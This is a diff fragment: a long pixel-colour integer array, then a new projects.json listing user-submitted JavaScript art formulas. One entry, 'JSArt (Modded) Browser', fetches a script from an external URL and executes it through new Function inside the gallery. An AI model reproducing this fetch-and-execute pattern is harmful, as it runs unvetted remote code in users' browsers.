9474192, 9408399, 9276813, 9276813, 9342606, 9342606, 9342606, 9342606, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9211020, 9408399, 9276813, 9211020, 9276813, 9276813, 9145227, 9145227, 9276813, 9276813, 9276813, 9276813, 9276813, 9211020, 9211020, 9145227, 9079434, 9211020, 9211020, 9342606, 9408399, 9342606, 9211020, 9211020, 9276813, 10658466, 10724259, 10790052, 10724259, 10592673, 10526880, 10724259, 10855845, 10921638, 10921638, 10987431, 10987431, 10855845, 10724259, 10526880, 10395294, 10461087, 10461087, 10461087, 10461087, 10526880, 10526880, 10526880, 10526880, 10592673, 10592673, 10657955, 10723748, 10854566, 10854566, 10919847, 10919847, 10919847, 10985640, 10919847, 10788261, 10722467, 10788260, 10788260, 10656674, 10656928, 10854307, 10854307, 10788514, 10788512, 10722719, 10656926, 10722719, 10591133, 10591133, 10525853, 10525853, 10459806, 10394013, 10197404, 10131611, 10263199, 10263199, 10131870, 10066077, 10131871, 10263457, 10329250, 10395043, 10197663, 10066077, 10263456, 10197663, 9737366, 9539987, 9605778, 9539985, 9539985, 9342606, 9408399, 9803157, 9934743, 9671571, 9539472, 9605265, 9342354, 9408147, 9539733, 9671319, 9671319, 9671319, 9605526, 9539733, 9342354, 9276561, 9144975, 9144975, 9079182, 9013389, 8947596, 9013643, 8947335, 9013128, 9078921, 9078921, 9078921, 9144714, 9145227, 9211020, 9342606, 9211020, 9276300, 9342093, 9276300, 9342093, 9407886, 9342093, 9342347, 9539726, 9342606, 9408399, 9014154, 9014154, 8948107, 9079693, 9145740, 9079947, 9079434, 9013641, 9078921, 9013128, 9079175, 9079175, 9079434, 9211022, 9276813, 9211020, 9276300, 9407886, 9342347, 9276554, 9342347, 9342347, 9211020, 9276813, 9276813, 9342606, 9276815, 9276815, 9342606, 9211020, 9211020, 9211020, 9211020, 9145227, 9145227, 9145227, 9408399, 9539985, 9539985, 9276813, 9211020, 9276813, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342354, 9342354, 9342354, 9342354, 9342354, 9342354, 9408147, 9408147, 9276561, 9342354, 9276561, 9276561, 9342354, 9210768, 9276561, 9474194, 9145229, 9276813, 9276813, 9276813, 9276813, 9145227, 9079434, 9342606, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9408399, 9408399, 9276813, 9079434, 9079434, 9145227, 9145227, 9145227, 9145227, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9276813, 9145227, 9079434, 9145227, 9079434, 8947848, 9013641, 9145227, 9079434, 9079434, 9145227, 9145227, 9079434, 9079434, 9013641, 8947848, 9013641, 9079434, 9211020, 9276813, 9211020, 9079434, 9079434, 9145227, 10855845, 10855845, 10921638, 10921638, 10855845, 10855845, 10921638, 11119017, 11053224, 11053224, 11053224, 11053224, 11053224, 10987431, 10790052, 10658466, 10593184, 10658977, 10593184, 10593184, 10658977, 10724770, 10855845, 10790052, 10855845, 10855845, 10921127, 10921127, 11051945, 11051945, 11051945, 11051945, 11051946, 11051946, 11051945, 11051945, 10986152, 10986152, 10920357, 10920357, 10854564, 10986150, 11052197, 10920611, 10854818, 10854818, 10854818, 10789025, 10789025, 10723232, 10723232, 10723232, 10657185, 10591392, 10460576, 10460576, 10394785, 10460578, 10460835, 10395042, 10395043, 10526629, 10461349, 10395556, 10329762, 10329762, 10329762, 10263969, 10132381, 10066588, 10001049, 10001049, 9868950, 10000536, 10000536, 9934743, 9868950, 9868950, 9803157, 9671571, 9671319, 9671319, 9473940, 9539733, 9276561, 9408147, 9276561, 9276561, 9342354, 9473940, 9539733, 9408147, 9210768, 9079182, 9144975, 9211022, 9210507, 9276554, 9276811, 9276811, 9342604, 9408397, 9408399, 9408399, 9474192, 9539985, 9474192, 9474192, 9474192, 9539985, 9671058, 9671058, 9539983, 9539983, 9737362, 9671569, 9277326, 9211533, 9408912, 9408912, 9343119, 9343119, 9277326, 9145740, 9211020, 9342606, 9408397, 9342604, 9474192, 9474192, 9539985, 9539985, 9539985, 9474192, 9539472, 9539472, 9473679, 9671058, 9605778, 9539985, 9605778, 9539985, 9474192, 9605778, 9605265, 9671058, 9474192, 9539985, 9474192, 9605778, 9276813, 9474192, 9671571, 9868950, 9868950, 9605778, 9474192, 9539985, 9671571, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605526, 9605526, 9605526, 9605526, 9605526, 9605526, 9605526, 9605526, 9539733, 9605526, 9605526, 9539733, 9539733, 9605526, 9539733, 9408401, 9408401, 9342606, 9342606, 9276813, 9276813, 9342606, 9474192, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9474192, 9342606, 9276813, 9342606, 9408399, 9474192, 9342606, 9474192, 9539985, 9342606, 9408399, 9474192, 9276813, 9408399, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9408399, 9539985, 9408399, 9342606, 9408399, 9408399, 9342606, 9276813, 9342606, 9342606, 9276813, 9276813, 9342606, 9342606, 9276813, 9276813, 9342606, 9276813, 9342606, 9342606, 9408399, 9474192, 9474192, 9474192, 9474192, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 11053224, 10987431, 10921638, 10855845, 10856356, 10856356, 10856356, 10790563, 10856356, 10922149, 11053224, 10987431, 10987431, 10987431, 11052713, 11052713, 11183531, 11183531, 11183531, 11183531, 11183532, 11183532, 11183531, 11117738, 11117738, 11051945, 11051943, 10986150, 11051943, 11117736, 11183783, 11052197, 10986404, 10986404, 10986404, 10986404, 10986404, 10920611, 10854818, 10854818, 10788771, 10788771, 10657955, 10657955, 10657957, 10657957, 10658214, 10658214, 10592422, 10592422, 10461349, 10395556, 10395555, 10329762, 10329762, 10329762, 10395553, 10395553, 10395807, 10330014, 10263708, 10329501, 10329501, 10197915, 10066329, 10066329, 10000536, 9934743, 9868698, 9671319, 9473940, 9342354, 9408147, 9408147, 9342354, 9210768, 9539733, 9605526, 9671319, 9605526, 9473940, 9408147, 9342354, 9342608, 9407886, 9473933, 9474190, 9474190, 9539983, 9605776, 9539985, 9408399, 9474192, 9474192, 9474192, 9408399, 9474192, 9539985, 9671058, 9671058, 9605776, 9671569, 9737362, 9737362, 9474705, 9474705, 9540498, 9606291, 9540498, 9540498, 9474705, 9408912, 9474192, 9539985, 9605776, 9539983, 9605778, 9605778, 9671571, 9671571, 9671571, 9671571, 9671058, 9671058, 9736851, 9868437, 9803157, 9737364, 9803157, 9737364, 9671571, 9803157, 9802644, 9868437, 9671571, 9671571, 9605778, 9737364, 9408399, 9605778, 9934743, 10066329, 10000536, 9737364, 9671571, 9803157, 9868950, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9868952, 9868698, 9868698, 9868698, 9868698, 9868698, 9868698, 9868698, 9802905, 9868698, 9868698, 9802905, 9802905, 9802905, 9737112, 9605780, 9474192, 9474192, 9474192, 9408399, 9342606, 9408399, 9539985, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9737364, 9671571, 9539985, 9342606, 9276813, 9342606, 9408399, 9539985, 9408399, 9605778, 9737364, 9605778, 9605778, 9671571, 9539985, 9539985, 9605778, 9671571, 9671571, 9671571, 9671571, 9605778, 9539985, 9737364, 9605778, 9605778, 9605778, 9605778, 9539985, 9474192, 9539985, 9605778, 9539985, 9539985, 9605778, 9605778, 9539985, 9539985, 9605778, 9539985, 9539985, 9605778, 9671571, 9737364, 9737364, 9737364, 9737364, 10658466, 10724259, 10724259, 10658466, 10724259, 10724259, 10658466, 10395294, 10526880, 10526880, 10526880, 10526880, 10526880, 10526880, 10526880, 10592673, 10592673, 10592673, 10592673, 10526880, 10526880, 10658466, 10658466, 10592673, 10658466, 10658466, 10723748, 10723748, 10723748, 10723748, 10854566, 10854566, 10854566, 10788773, 10788773, 10788773, 10722978, 10722978, 10657185, 10657185, 10657185, 10722978, 10723232, 10657439, 10591646, 10591646, 10591646, 10591646, 10657439, 10525853, 10328988, 10328988, 10263195, 10263195, 10263197, 10328990, 10263710, 10197917, 10197663, 10329249, 10197663, 10000284, 9868699, 9868699, 9802905, 9737112, 9737112, 9802905, 10000538, 10132124, 10066329, 10000536, 10000536, 10000536, 9934743, 9803157, 9737364, 9671571, 9671571, 9605778, 9605526, 9539733, 9671319, 9473940, 9737112, 9473940, 9539733, 9408147, 9408147, 9342354, 9276561, 9144975, 9144975, 9079182, 9013389, 8947850, 9079434, 9079432, 9145225, 9145225, 9211018, 9211018, 9079434, 8882055, 8947848, 9013641, 8947848, 8882055, 8947848, 9013641, 9079434, 9079434, 9145227, 9211020, 9145227, 9145227, 9211020, 9211020, 9145740, 9211533, 9145740, 9211533, 9145740, 9079947, 9145227, 9211020, 9276813, 9276813, 9276813, 9276813, 9342606, 9342606, 9342606, 9342606, 9276813, 9276813, 9342606, 9474192, 9474192, 9408399, 9474192, 9408399, 9342606, 9474192, 9605265, 9605265, 9408399, 9408399, 9342606, 9474192, 9079434, 9276813, 9671571, 9737364, 9605778, 9342606, 9342606, 9539985, 9605778, 9474192, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539985, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9539987, 9474194, 9474194, 9539987, 9539987, 9408401, 9211022, 9145227, 9145227, 9145227, 9079434, 9013641, 9079434, 9211020, 9408399, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9276813, 9079434, 8882055, 8750469, 8816262, 8947848, 8947848, 8882055, 9079434, 9342606, 9276813, 9211020, 9276813, 9276813, 9211020, 9276813, 9276813, 9276813, 9276813, 9276813, 9276813, 9211020, 9342606, 9276813, 9211020, 9276813, 9211020, 9211020, 9145227, 9145227, 9211020, 9211020, 9145227, 9211020, 9211020, 9145227, 9145227, 9211020, 9211020, 9211020, 9276813, 9342606, 9408399, 9408399, 9408399, 9408399, 10790052, 10855845, 10790052, 10724259, 10790052, 10921638, 10658466, 10329501, 10461087, 10461087, 10461087, 10461087, 10395294, 10461087, 10592673, 10658466, 10592673, 10658466, 10592673, 10592673, 10592673, 10724259, 10724259, 10658466, 10790052, 10724259, 10789541, 10789541, 10789541, 10789541, 10920359, 10920359, 10920359, 10920359, 10920359, 10920359, 10854564, 10854564, 10788771, 10788771, 10722978, 10788771, 10789025, 10723232, 10657439, 10657439, 10657439, 10657439, 10657439, 10591646, 10394781, 10394781, 10328988, 10328988, 10328990, 10394783, 10329503, 10197917, 10197663, 10329249, 10263456, 9934491, 9737113, 9802905, 9671319, 9605526, 9539733, 9671319, 9868952, 9934745, 9868950, 9803157, 9803157, 9803157, 9803157, 9803157, 9803157, 9737364, 9671571, 9605780, 9342608, 9605526, 10000284, 10000284, 10000284, 9737112, 9802905, 9802905, 9605526, 9473940, 9276561, 9144975, 9079182, 9079182, 9079182, 9079436, 9211020, 9211018, 9211018, 9276811, 9276811, 9276811, 9079434, 8816262, 8947848, 9013641, 8947848, 8882055, 8947848, 9013641, 9079434, 9079434, 9079434, 9211020, 9079434, 9079434, 9342606, 9342606, 9145740, 9277326, 9277326, 9211533, 9211533, 9211533, 9276813, 9342606, 9342606, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9342606, 9408399, 9539985, 9539985, 9539985, 9605778, 9539985, 9474192, 9605778, 9736851, 9736851, 9539985, 9539985, 9408399, 9605778, 9211020, 9408399, 9737364, 9868950, 9737364, 9474192, 9408399, 9605778, 9671571, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605778, 9605780, 9605780, 9605780, 9605780, 9605780, 9605780, 9605780, 9605780, 9605780, 9605780, 9539987, 9605780, 9671573, 9671573, 9539987, 9342608, 9342606, 9342606, 9342606, 9276813, 9145227, 9211020, 9342606, 9539985, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9408399, 9474192, 9342606, 9145227, 8882055, 8750469, 8816262, 8947848, 8947848, 8882055, 9079434, 9342606, 9342606, 9211020, 9211020, 9342606, 9276813, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9276813, 9408399, 9342606, 9276813, 9276813, 9276813, 9276813, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9211020, 9276813, 9276813, 9342606, 9408399, 9408399, 9474192, 9474192, 9474192, 11053224, 11184810, 11119017, 11053224, 11119017, 11184810, 10987431, 10592673, 10658466, 10658466, 10658466, 10658466, 10592673, 10658466, 10790052, 10921638, 10921127, 10986920, 10855845, 10855845, 10921638, 10987431, 11053224, 10987431, 11053224, 10987431, 11052713, 11052713, 10986920, 10986920, 11183531, 11183531, 11183529, 11183529, 11183529, 11117736, 11117736, 11051943, 11051943, 10986150, 10986150, 11051943, 11052197, 11052197, 10986404, 10920611, 10920611, 10920611, 10723746, 10657953, 10657953, 10723746, 10657953, 10592160, 10526882, 10526882, 10592675, 10461089, 10461089, 10658468, 10526628, 10197663, 10000284, 10066077, 10000284, 9934745, 9868952, 9934745, 9934745, 9934745, 9868950, 9803157, 9737364, 9803157, 9868950, 10066329, 10132122, 10132122, 9934745, 9803159, 9803159, 10000538, 10066331, 10197917, 9934745, 9934745, 9868952, 9934745, 9671573, 9671573, 9605780, 9474194, 9408401, 9342608, 9342608, 9408401, 9539985, 9539985, 9539985, 9539985, 9605778, 9605778, 9408399, 9145227, 9211020, 9276813, 9211020, 9211020, 9211020, 9276813, 9342606, 9342606, 9408399, 9539985, 9342606, 9342606, 9605778, 9605778, 9474192, 9605778, 9605778, 9539985, 9539985, 9539985, 9605778, 9605778, 9671571, 9671571, 9737362, 9671569, 9671569, 9671569, 9671571, 9671571, 9671573, 9605780, 9671573, 9868952, 9868950, 9803157, 9868950, 9803157, 9737364, 9868950, 9868950, 9868950, 9803157, 9737364, 9671571, 9803157, 9474192, 9671571, 9934743, 10132122, 10132122, 9868950, 9737364, 9868950, 9934743, 9868950, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9934743, 9868952, 9868952, 9868952, 9868952, 9868952, 9868952, 9868952, 9868952, 9868952, 9803159, 9803159, 9868952, 9934745, 9934745, 9868952, 9737366, 9671571, 9671571, 9671571, 9605778, 9539985, 9539985, 9671571, 9737364, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9671571, 9605778, 9474192, 9276813, 9145227, 9211020, 9276813, 9342606, 9342606, 9474192, 9539985, 9605778, 9474192, 9474192, 9605778, 9539985, 9605778, 9671571, 9605778, 9605778, 9671571, 9605778, 9539985, 9737364, 9671571, 9605778, 9605778, 9539985, 9539985, 9539985, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9539985, 9539985, 9539985, 9605778, 9605778, 9671571, 9737364, 9737364, 9803157, 9803157, 11513775, 11579568, 11579568, 11513775, 11579568, 11579568, 11447982, 11250603, 11316396, 11316396, 11316396, 11316396, 11316396, 11316396, 11316396, 11382189, 11447471, 11447471, 11382189, 11316396, 11447982, 11513775, 11579568, 11513775, 11579568, 11579568, 11579057, 11579057, 11513264, 11513264, 11709875, 11709875, 11644080, 11644080, 11644080, 11644080, 11578287, 11578287, 11512494, 11512494, 11446701, 11446701, 11512748, 11512748, 11446955, 11315369, 11315369, 11250090, 11184297, 11118504, 11118504, 11184297, 11118504, 11052711, 10921640, 10987433, 11053226, 10987433, 11053226, 11119019, 11052972, 10789800, 10658214, 10724007, 10658468, 10658468, 10592675, 10526882, 10526882, 10461089, 10395294, 10329501, 10263708, 10263708, 10395294, 10592673, 10658466, 10592673, 10461089, 10329503, 10329503, 10132124, 9737366, 9803159, 9539987, 9803159, 9605780, 9605780, 9868952, 10000538, 10066331, 10066331, 9934745, 9868952, 9803159, 9868952, 10000536, 10000536, 10000536, 10000536, 10066329, 10066329, 10000536, 9803157, 9868950, 9934743, 9934743, 9868950, 9868950, 9934743, 10000536, 10000536, 10000536, 10066329, 10066329, 10000536, 10066329, 10000536, 10000536, 10066329, 10000536, 10000536, 10000536, 10066329, 10066329, 10066329, 10132122, 10197915, 10329499, 10263706, 10197913, 10197913, 10197915, 10197915, 10197917, 10132124, 10197917, 10329503, 10329501, 10263708, 10329501, 10263708, 10263708, 10395294, 10395294, 10395294, 10263708, 10263708, 10197915, 10329501, 9934743, 10132122, 10395294, 10592673, 10592673, 10395294, 10263708, 10329501, 10395294, 10329501, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395294, 10395296, 10395296, 10395296, 10395296, 10395296, 10395296, 10395296, 10395296, 10329503, 10329503, 10329503, 10395296, 10395296, 10395296, 10329503, 10329503, 10329501, 10329501, 10263708, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10197915, 10263708, 10263708, 10197915, 10132122, 10066329, 10000536, 10066329, 10066329, 10132122, 10197915, 10066329, 10000536, 10066329, 10066329, 10000536, 10132122, 10000536, 10066329, 10132122, 10132122, 10132122, 10132122, 10132122, 10066329, 10197915, 10197915, 10132122, 10066329, 10066329, 10066329, 10066329, 10000536, 10000536, 10000536, 10000536, 9934743, 9934743, 10000536, 10066329, 10066329, 10066329, 10066329, 10132122, 10197915, 10197915, 10263708, 10329501, 10329501, 10592673, 10592673, 10592673, 10592673, 10526880, 10526880, 10526880, 10592673, 10526880, 10526880, 10592673, 10592673, 10592673, 10592673, 10526880, 10461087, 10526369, 10526369, 10526369, 10460576, 10526369, 10657955, 10658466, 10592673, 10658466, 10658466, 10657955, 10657955, 10657955, 10592162, 10657955, 10657955, 10592162, 10592162, 10592162, 10592162, 10526369, 10526369, 10460576, 10460576, 10328990, 10328990, 10394783, 10394783, 10328990, 10197404, 10197404, 10263197, 10263195, 10132122, 10066329, 10132122, 10066329, 10000536, 10000536, 10066329, 10132124, 10132124, 10197917, 10132124, 10132124, 10000538, 9934745, 9934745, 9934232, 9934232, 9868439, 9868439, 9868437, 9802644, 9737364, 9671571, 9605778, 9605778, 9605778, 9671571, 9671573, 9539987, 9474194, 9539987, 9605780, 9408401, 9145229, 9079436, 9079436, 9145229, 9079436, 9013643, 9013643, 9145229, 9211022, 9145229, 9013643, 8882057, 8882057, 8882057, 9013641, 9079434, 9079434, 9079434, 9145227, 9211020, 9211020, 9145227, 9211020, 9211020, 9211020, 9145227, 9145227, 9276813, 9276813, 9276813, 9276815, 9276815, 9473681, 9407888, 9210507, 9144714, 9210507, 9210507, 9210507, 9144714, 9079434, 9211020, 9211020, 9211020, 9211020, 9342606, 9473933, 9408138, 9342347, 9342347, 9342606, 9342606, 9276815, 9276815, 9276815, 9408401, 9342865, 9342865, 9408912, 9343119, 9277326, 9408912, 9539985, 9605778, 9474192, 9408399, 9342606, 9474192, 9079434, 9276813, 9539985, 9671571, 9736851, 9473679, 9407886, 9539472, 9605265, 9539472, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474192, 9474194, 9474194, 9474194, 9474194, 9474194, 9474194, 9474194, 9474194, 9474194, 9408401, 9474194, 9474194, 9474194, 9408401, 9474194, 9539987, 9605778, 9539985, 9408399, 9408399, 9408399, 9408399, 9342606, 9276813, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9342606, 9408399, 9474192, 9474192, 9474192, 9539985, 9605778, 9276813, 9013641, 9145227, 9211020, 9145227, 9145227, 9079434, 9145227, 9211020, 9211020, 9211020, 9211020, 9211020, 9145227, 9276813, 9276813, 9211020, 9145227, 9145227, 9145227, 9145227, 9013641, 9079434, 9079434, 9079434, 9013641, 9013641, 9079434, 9145227, 9145227, 9145227, 9211020, 9211020, 9276813, 9342606, 9408399, 9408399, 9474192, 9539985, 9539985, 9539985, 9539985, 9474192, 9474192, 9539985, 9737364, 9605778, 9539985, 9605778, 9605778, 9671571, 9605778, 9474192, 9342606, 9539474, 9539474, 9473681, 9473681, 9473681, 9605267, 9539985, 9539985, 9539985, 9539985, 9539474, 9539474, 9539474, 9473681, 9473681, 9539474, 9539474, 9539474, 9539474, 9473681, 9473681, 9407888, 9407888, 9342095, 9342095, 9276302, 9342095, 9342095, 9276302, 9144716, 9144716, 9276302, 9211020, 9145227, 9079434, 9079434, 9013641, 9013641, 9013641, 9079434, 9145229, 9211022, 9211022, 9079436, 9079436, 9079436, 9013643, 8947850, 8947337, 8881544, 8881544, 8947337, 9013128, 9013128, 8947848, 8882055, 8882055, 8816262, 8750469, 8684676, 8487299, 8289920, 8355713, 8553092, 8355713, 8421506, 8750471, 8618885, 8750471, 8487299, 8618885, 8553092, 8289920, 8289920, 8224127, 8092541, 7895162, 7829369, 7829369, 7895162, 8026746, 8092539, 8092539, 8092539, 8158332, 8224125, 8289918, 8289918, 8289918, 8289918, 8289918, 8224125, 8224125, 8289918, 8355711, 8355711, 8487299, 8421506, 8684165, 8618372, 8157819, 8092026, 8289405, 8223612, 8223612, 8157819, 8092539, 8224125, 8289918, 8224125, 8289918, 8355709, 8421245, 8289657, 8223866, 8223866, 8224125, 8224125, 8158334, 8158334, 8289920, 8421506, 8355970, 8355970, 8422017, 8356224, 8290431, 8422017, 8553090, 8618883, 8487297, 8421504, 8289918, 8421504, 8026746, 8224125, 8618883, 8750469, 8684163, 8420991, 8420991, 8552577, 8684163, 8552577, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487297, 8487299, 8487299, 8487299, 8487299, 8487299, 8487299, 8487299, 8487299, 8553092, 8487299, 8487299, 8553092, 8487299, 8421506, 8487299, 8618885, 8618883, 8487297, 8421504, 8355711, 8421504, 8355711, 8224125, 8092539, 8224125, 8224125, 8224125, 8224125, 8224125, 8224125, 8224125, 8224125, 8224125, 8224125, 8224125, 8355711, 8487297, 8618883, 8618883, 8553090, 8684676, 8816262, 8355711, 7895160, 8092539, 8224125, 8158332, 8158332, 8092539, 8158332, 8224125, 8224125, 8224125, 8224125, 8224125, 8158332, 8224125, 8289918, 8224125, 8092539, 8092539, 8158332, 8092539, 7960953, 7960953, 8026746, 7960953, 7895160, 7895160, 8026746, 8092539, 8026746, 8158332, 8158332, 8224125, 8224125, 8289918, 8355711, 8421504, 8487297] \ No newline at end of file diff --git a/jsam.codersquack.nl/static/projects.json b/jsam.codersquack.nl/static/projects.json new file mode 100644 index 0000000..e53e77e --- /dev/null +++ b/jsam.codersquack.nl/static/projects.json @@ -0,0 +1,29 @@ +[ + { "name": "Sierpi\u0144ski Triangle", "owner": "e_", "code": "(()=>{ x+=(y/2)-128; y=(256-y); x=(x*4)/((((t*t)/4000000000000000)%1)+1);y=(y*4)/((((t*t)/4000000000000000)%1)+1); let sier = (x^(y&x))-x; return (sier>(-4))*0xffffff; })();" }, + { "name": "A walk at fantasy land", "owner": "GDPlayer", "code": "m=Math,function(){if(y>128){if(x>64&x<128&y>140+m.sin(t/90)*9&y<206+m.sin(t/90)*9){if(((x>94&x<99)|(x>109&x<114))&(y>158+m.sin(t/90)*9+m.sin(t/200)*12+12&y<180+m.sin(t/90)*9)){a=0}else{a=0x00aa00}}else{a=x+t/17|(y*2-t/9)}}else{a=x+t/17|(y+t/9)} return a}()" }, + { "name": "Demoscene (~30FPS)", "owner": "GDPlayer", "code": "m=Math,function(){if(x<128&y<128){a=((y+128+m.sin(t/900)*80)/8+((x+t/9)/8&2)&2)*t/9}else if(y<128&x>128){a=m.sin((x+m.sin((y+t/8)/9)*m.sin(t/900)*80)/8+t/90)*128+128+t/90}else if(y>127&x>128){a=y&t/9+(x*m.sin(x/90+t/900))}else if(y>127&x<128){a=((x+t/90)*8&(y+t/90)*8)+t*8/9}else if(y<128&x>128){a=m.sin((x+m.sin((y+t/8)/9)*m.sin(t/900)*80)/8+t/90)*128+128+t/90} if(x>64+m.sin(t/100)*32&x<192+m.sin(t/100)*32&y>64+m.sin(t/220)*32&y<192+m.sin(t/220)*32){a=x+t/6&y+t/9} return a}()" }, + { "name": "My brain hurts while making this one", "owner": "Zynx92", "code": "Math.sin(-t/64+Math.cbrt(x**2+y**2))*t/Math.pow(10,10)" }, + { "name": "A square that goes to your mouse position, i guess", "owner": "Zynx92", "code": "Math.tan(x/500-(mx/500)-4.71)*0.01&Math.tan(y/500-(my/500)-4.71)*0.01" }, + { "name": "Uhh... i don't even know", "owner": "Zynx92", "code": "(Math.sin((x+t/30^y+t/30))*2)*1000000^t/4" }, + { "name": "Skyline", "owner": "mikethe223", "code": "[-i+x, 0x44aa44][Math.floor(y/128)]" }, + { "name": "3D looking thing", "owner": "Zynx92", "code": "Math.tan(t/300+x/y)" }, + { "name": "Yellow to Pink gradient", "owner": "Zynx92", "code": "x-i+y-1" }, + { "name": "'Sierpi\u0144ski Triangle' by e_ but with shorter code and no functions", "owner": "Zynx92", "code": "x+=(y/2)-128,y=256-y,x=x*4/((t/1000)%1+1),y=y*4/((t/1000)%1+1),((x^(y&x))-x>-4)*0xffffff" }, + { "name": "Ukraine Flag", "owner": "Zynx92", "code": "[0x0022bb,0xffcc00][Math.floor(y/128)]" }, + { "name": "Moving Grid (~40FPS)", "owner": "Zynx92", "code": "Math.sin(x/32+Math.sin(t/1000)*22)*200^Math.sin(y/32+Math.sin(t/2000)*22)*10" }, + { "name": "Insanity", "owner": "GDPlayer", "code": "(((x+y*t*y*4&y*t/90)&y)*t/90)&x*y*t" }, + { "name": "Stretch", "owner": "mikethe223", "code": "(t/x+y*i)+t*x" }, + { "name": "8-Variable Mayhem (SEIZURE WARNING)", "owner": "GDPlayer", "code": "((((i+t+(x*mx/90)*(y*my))%mx+my)^sw^sh)*(mx&my))^t*800000000000" }, + { "name": "Strechy boioioioing", "owner": "Wahlolly", "code": "Math.sin(t/sw)*x^y" }, + { "name": "Wall Fall", "owner": "mikethe223", "code": "(i*sh/x)+(t*60)^40000000" }, + { "name": "Grid", "owner": "Zynx92", "code": "(x%16&&y%16)*0xffffff" }, + { "name": "Bytebeat pattern looking", "owner": "mikethe223", "code": "i>>x/y+t/200" }, + { "name": "The scanner", "owner": "nicejsisverycool", "code": "0x00ff00 & i - (t*100)" }, + { "name": "Ripple", "owner":"e_", "code": "c*Math.sin(t/1000)*69" }, + { "name": "RGBRings (Default formula)", "owner":"mikethe223", "code": "255<{ let camerax = (t%255)+(65536*150.5); let camerarotatex = 0; let cameray = 512; let camerarotatey = 128; if(y>(camerarotatey+1)){ /* road */ return (((x+camerarotatex)-128)/((y-camerarotatey)/cameray))+camerax }else{ /* skybox */ let sunx = 180; let suny = (Math.sin(t/800)+1)*20; let sunsize = 40; if(!(x<(sunx+sunsize+camerarotatex)&&x>(sunx)&&y<((suny+(camerarotatey-128))+sunsize)&&y>(suny+(camerarotatey-128)))){return 53503-(Math.floor(y/2)*256)} else {return 15589450; };} })();"}, + { "name": "JSArt (Modded) Browser", "owner": "Ponali", "code": "(()=>{ x=Math.floor((x/sw)*256);y=Math.floor((y/sh)*256);mx=(mx/sw)*256;my=(my/sh)*256;sw=256;sh=256; if(x==0&&y==0){if(!window.ftchr){(()=>{ fetch(\"https://ponali.github.io/files/jsart/demos/browser.js\").then(data=>data.text()).then((body)=>{window.ftchr.func= new Function(\"i\",\"t\",\"x\",\"y\",\"mx\",\"my\",\"sw\",\"sh\",\"c\",\"ic\",\"cl\",\"k\",\"return \"+body);}) })();window.ftchr={\"func\":(()=>{return 255;})};}} return window.ftchr.func(i,t,x,y,mx,my,sw,sh,c,ic,cl,k); })()"}, + { "name": "RGBRings v2", "owner":"mikethe223", "code": "255<>ic" }, + { "name": "Halftone movement", "owner":"mikethe223", "code": "(x/y*100+t/10+(Math.sin(x)*10+Math.sin(y)*10))<<1" }, + { "name": "Spinny thing", "owner":"cs127", "code": "x*Math.cos(t/256)+y*Math.sin(t/256)" } +] \ No newline at end of file